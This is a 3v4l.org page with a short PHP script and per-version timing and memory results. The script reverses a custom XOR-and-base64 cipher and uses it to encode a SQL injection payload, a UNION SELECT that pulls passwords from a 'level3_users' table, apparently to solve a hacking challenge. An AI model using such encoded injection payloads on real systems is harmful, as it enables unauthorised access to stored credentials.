3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' UNION SELECT password,2,3,4,5,6,7 FROM level3_users WHERE username='Admin'#"); print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0150.00018.43
8.3.50.0130.00522.19
8.3.40.0000.01519.11
8.3.30.0100.01019.18
8.3.20.0030.00520.34
8.3.10.0070.00023.61
8.3.00.0030.00620.77
8.2.180.0100.00618.51
8.2.170.0070.00722.96
8.2.160.0140.00020.52
8.2.150.0080.00024.18
8.2.140.0080.00024.66
8.2.130.0050.00326.16
8.2.120.0000.00819.51
8.2.110.0060.00322.30
8.2.100.0080.00420.40
8.2.90.0040.00419.20
8.2.80.0060.00317.97
8.2.70.0030.00717.88
8.2.60.0050.00317.93
8.2.50.0080.00418.07
8.2.40.0000.00718.34
8.2.30.0040.00418.19
8.2.20.0050.00317.98
8.2.10.0070.00018.15
8.2.00.0030.00517.88
8.1.280.0040.01225.92
8.1.270.0060.00322.23
8.1.260.0050.00326.35
8.1.250.0040.00428.09
8.1.240.0030.00622.21
8.1.230.0120.00019.28
8.1.220.0000.00817.77
8.1.210.0040.00418.77
8.1.200.0030.00617.60
8.1.190.0030.00617.38
8.1.180.0040.00418.10
8.1.170.0080.00018.90
8.1.160.0050.00222.11
8.1.150.0040.00418.76
8.1.140.0070.00017.59
8.1.130.0030.00319.57
8.1.120.0030.00417.64
8.1.110.0040.00417.62
8.1.100.0040.00417.55
8.1.90.0070.00017.60
8.1.80.0000.00817.56
8.1.70.0040.00417.61
8.1.60.0060.00317.73
8.1.50.0000.00917.69
8.1.40.0050.00317.72
8.1.30.0060.00317.73
8.1.20.0060.00617.73
8.1.10.0030.00517.64
8.1.00.0080.00017.57
8.0.300.0040.00418.77
8.0.290.0040.00417.00
8.0.280.0040.00418.57
8.0.270.0070.00017.24
8.0.260.0030.00317.34
8.0.250.0030.00317.15
8.0.240.0000.00817.14
8.0.230.0050.00217.12
8.0.220.0000.00717.11
8.0.210.0000.00717.05
8.0.200.0030.00317.21
8.0.190.0040.00417.04
8.0.180.0040.00417.01
8.0.170.0000.00917.16
8.0.160.0040.00417.11
8.0.150.0040.00417.00
8.0.140.0040.00417.03
8.0.130.0060.00013.50
8.0.120.0030.00517.07
8.0.110.0030.00516.97
8.0.100.0070.00017.03
8.0.90.0050.00316.95
8.0.80.0160.00717.11
8.0.70.0000.00816.99
8.0.60.0040.00417.05
8.0.50.0040.00417.14
8.0.30.0110.01117.23
8.0.20.0100.01217.40
8.0.10.0040.00416.99
8.0.00.0100.01216.81
7.4.330.0050.00015.12
7.4.320.0060.00016.69
7.4.300.0030.00316.77
7.4.290.0050.00316.69
7.4.280.0030.00616.89
7.4.270.0030.00316.73
7.4.260.0000.00716.82
7.4.250.0040.00416.72
7.4.240.0040.00416.73
7.4.230.0000.00716.80
7.4.220.0130.00616.80
7.4.210.0080.00816.83
7.4.200.0000.00716.86
7.4.160.0110.00516.78
7.4.150.0150.00417.40
7.4.140.0060.01517.86
7.4.130.0090.01116.64
7.4.120.0050.01216.66
7.4.110.0130.00716.75
7.4.100.0160.00616.75
7.4.90.0110.00616.82
7.4.80.0100.00819.39
7.4.70.0090.01216.80
7.4.60.0060.01416.74
7.4.50.0000.00916.34
7.4.40.0090.00916.74
7.4.30.0160.00616.80
7.4.00.0080.01015.18
7.3.330.0080.00013.41
7.3.320.0000.00613.62
7.3.310.0100.00016.45
7.3.300.0050.00216.42
7.3.290.0120.00316.53
7.3.280.0090.00916.52
7.3.270.0110.00817.40
7.3.260.0120.00916.57
7.3.250.0120.00916.74
7.3.240.0110.00816.61
7.3.230.0060.01616.51
7.3.210.0060.01316.77
7.3.200.0030.01319.39
7.3.190.0150.00316.52
7.3.180.0150.00016.91
7.3.170.0080.00816.84
7.3.160.0130.00716.43
7.3.120.0100.00714.90
7.3.110.0090.00915.11
7.3.100.0140.00415.33
7.3.90.0000.01614.90
7.3.80.0030.00714.74
7.3.70.0030.01015.12
7.3.60.0040.01115.20
7.3.50.0040.01114.95
7.3.40.0000.01215.14
7.3.30.0000.01115.15
7.3.20.0080.00416.72
7.3.10.0070.00416.86
7.3.00.0040.00716.84
7.2.330.0090.01516.91
7.2.320.0090.00916.88
7.2.310.0080.00816.93
7.2.300.0080.00816.85
7.2.290.0030.01816.85
7.2.250.0130.00615.33
7.2.240.0100.01015.31
7.2.230.0070.00715.14
7.2.220.0000.01415.31
7.2.210.0080.00615.18
7.2.200.0030.01015.13
7.2.190.0040.01115.21
7.2.180.0000.01215.15
7.2.170.0070.00315.04
7.1.330.0000.01516.09
7.1.320.0090.00316.00
7.1.310.0090.00615.78
7.1.300.0090.00016.04
7.1.290.0030.01016.18
7.1.280.0000.00816.06
7.1.270.0000.00816.13
7.1.260.0000.01516.16
7.1.100.0030.01318.42
7.1.70.0040.00417.14
7.1.60.0120.01219.70
7.1.50.0090.01517.05
7.1.00.0030.07722.55
7.0.200.0000.00716.99
7.0.140.0030.07322.10
7.0.100.0030.08719.93
7.0.90.0200.03719.84
7.0.80.0100.03720.11
7.0.70.0070.03319.98
7.0.60.0200.08319.95
7.0.50.0070.07320.19
7.0.40.0070.08720.09
7.0.30.0100.08319.90
7.0.20.0030.08320.06
7.0.10.0100.08720.04
7.0.00.0100.08320.09
5.6.280.0100.06721.13
5.6.250.0070.06320.72
5.6.240.0100.07720.56
5.6.230.0030.10020.48
5.6.220.0000.06320.66
5.6.210.0200.06720.53
5.6.200.0130.07721.00
5.6.190.0130.08720.92
5.6.180.0030.08021.04
5.6.170.0030.07320.90
5.6.160.0030.09320.96
5.6.150.0200.08020.97
5.6.140.0130.07020.98
5.6.130.0170.08320.98
5.6.120.0100.08320.99
5.6.110.0070.08021.08
5.6.100.0130.09021.06
5.6.90.0270.06720.98
5.6.80.0070.04720.38
5.6.70.0070.08320.33
5.6.60.0130.07020.34
5.6.50.0170.08320.38
5.6.40.0170.07320.28
5.6.30.0130.07020.38
5.6.20.0070.08720.25
5.6.10.0170.04320.34
5.6.00.0200.05020.38
5.5.380.0070.04720.40
5.5.370.0100.03720.36
5.5.360.0030.04720.46
5.5.350.0100.03320.34
5.5.340.0100.08320.73
5.5.330.0070.06320.84
5.5.320.0030.04320.79
5.5.310.0130.07020.72
5.5.300.0170.08320.72
5.5.290.0100.04720.76
5.5.280.0100.08720.84
5.5.270.0030.09320.59
5.5.260.0070.08320.88
5.5.250.0130.07020.57
5.5.240.0030.08320.12
5.5.230.0130.07720.17
5.5.220.0070.07720.13
5.5.210.0270.07020.16
5.5.200.0100.09020.20
5.5.190.0130.07720.21
5.5.180.0100.06720.04
5.5.160.0130.08719.95
5.5.150.0130.08020.17
5.5.140.0130.06720.17
5.5.130.0200.07320.08
5.5.120.0130.07720.13
5.5.110.0130.08320.15
5.5.100.0170.06020.04
5.5.90.0170.06720.04
5.5.80.0170.06319.97
5.5.70.0170.06320.02
5.5.60.0100.07320.05
5.5.50.0070.06019.91
5.5.40.0100.07320.10
5.5.30.0100.06719.87
5.5.20.0200.06320.05
5.5.10.0130.07719.93
5.5.00.0100.08020.09
5.4.450.0100.08319.38
5.4.440.0100.07719.42
5.4.430.0170.06719.41
5.4.420.0200.06319.27
5.4.410.0100.08319.08
5.4.400.0070.06719.09
5.4.390.0030.07718.95
5.4.380.0270.05318.88
5.4.370.0100.07719.03
5.4.360.0270.05719.03
5.4.350.0100.07319.14
5.4.340.0100.07318.88
5.4.320.0030.08718.90
5.4.310.0070.07019.13
5.4.300.0130.06318.90
5.4.290.0100.07319.09
5.4.280.0070.06319.04
5.4.270.0130.06319.21
5.4.260.0170.06318.94
5.4.250.0100.07719.20
5.4.240.0170.07018.96
5.4.230.0130.06719.10
5.4.220.0030.06319.06
5.4.210.0100.07319.03
5.4.200.0170.06719.04
5.4.190.0130.06718.89
5.4.180.0100.07319.15
5.4.170.0030.07718.94
5.4.160.0200.06719.02
5.4.150.0130.07019.19
5.4.140.0070.04716.45
5.4.130.0170.06716.43
5.4.120.0130.06016.33
5.4.110.0100.05716.37
5.4.100.0100.07016.55
5.4.90.0100.06316.42
5.4.80.0170.05716.38
5.4.70.0130.06716.39
5.4.60.0100.07016.31
5.4.50.0030.07316.32
5.4.40.0030.07016.35
5.4.30.0170.06316.31
5.4.20.0030.05716.46
5.4.10.0100.06716.32
5.4.00.0070.07315.86
5.3.290.0030.08014.60
5.3.280.0170.06714.66
5.3.270.0100.07314.74
5.3.260.0170.06014.67
5.3.250.0030.08014.68
5.3.240.0170.07014.74
5.3.230.0070.08014.56
5.3.220.0070.07714.63
5.3.210.0100.06014.55
5.3.200.0070.08014.57
5.3.190.0130.05714.56
5.3.180.0070.07314.59
5.3.170.0100.06314.55
5.3.160.0030.05714.52
5.3.150.0030.07314.55
5.3.140.0170.06714.68
5.3.130.0030.07014.63
5.3.120.0070.06314.64
5.3.110.0030.08014.70
5.3.100.0130.07014.05
5.3.90.0030.08014.12
5.3.80.0100.06714.05
5.3.70.0070.06013.95
5.3.60.0130.07014.16
5.3.50.0070.07313.88
5.3.40.0100.08014.09
5.3.30.0070.06714.05
5.3.20.0170.05713.71
5.3.10.0030.07713.69
5.3.00.0130.05313.67
5.2.170.0070.05711.29
5.2.160.0000.07311.13
5.2.150.0100.05711.07
5.2.140.0030.06311.15
5.2.130.0070.06011.02
5.2.120.0100.04711.17
5.2.110.0100.06011.00
5.2.100.0070.05711.13
5.2.90.0070.04711.05
5.2.80.0000.06711.23
5.2.70.0100.06011.24
5.2.60.0100.05711.06
5.2.50.0070.05311.16
5.2.40.0000.06311.10
5.2.30.0030.06310.92
5.2.20.0030.06010.88
5.2.10.0030.06310.79
5.2.00.0030.06310.68
5.1.60.0070.0539.85
5.1.50.0030.05310.09
5.1.40.0070.0439.98
5.1.30.0030.05710.40
5.1.20.0070.05310.33
5.1.10.0030.05710.11
5.1.00.0030.05010.14
5.0.50.0100.0438.89
5.0.40.0100.0338.89
5.0.30.0000.0338.89
5.0.20.0000.0208.89
5.0.10.0030.0178.89
5.0.00.0030.0338.89
4.4.90.0030.0338.89
4.4.80.0000.0378.89
4.4.70.0030.0178.89
4.4.60.0070.0338.89
4.4.50.0000.0378.89
4.4.40.0030.0508.89
4.4.30.0030.0208.89
4.4.20.0070.0338.89
4.4.10.0070.0278.89
4.4.00.0070.0478.89
4.3.110.0030.0238.89
4.3.100.0000.0178.89
4.3.90.0000.0278.89
4.3.80.0000.0278.89
4.3.70.0030.0238.89
4.3.60.0000.0178.89
4.3.50.0030.0138.89
4.3.40.0000.0278.89
4.3.30.0000.0208.89
4.3.20.0030.0178.89
4.3.10.0000.0178.89
4.3.00.0000.0138.89

preferences:
42.13 ms | 403 KiB | 5 Q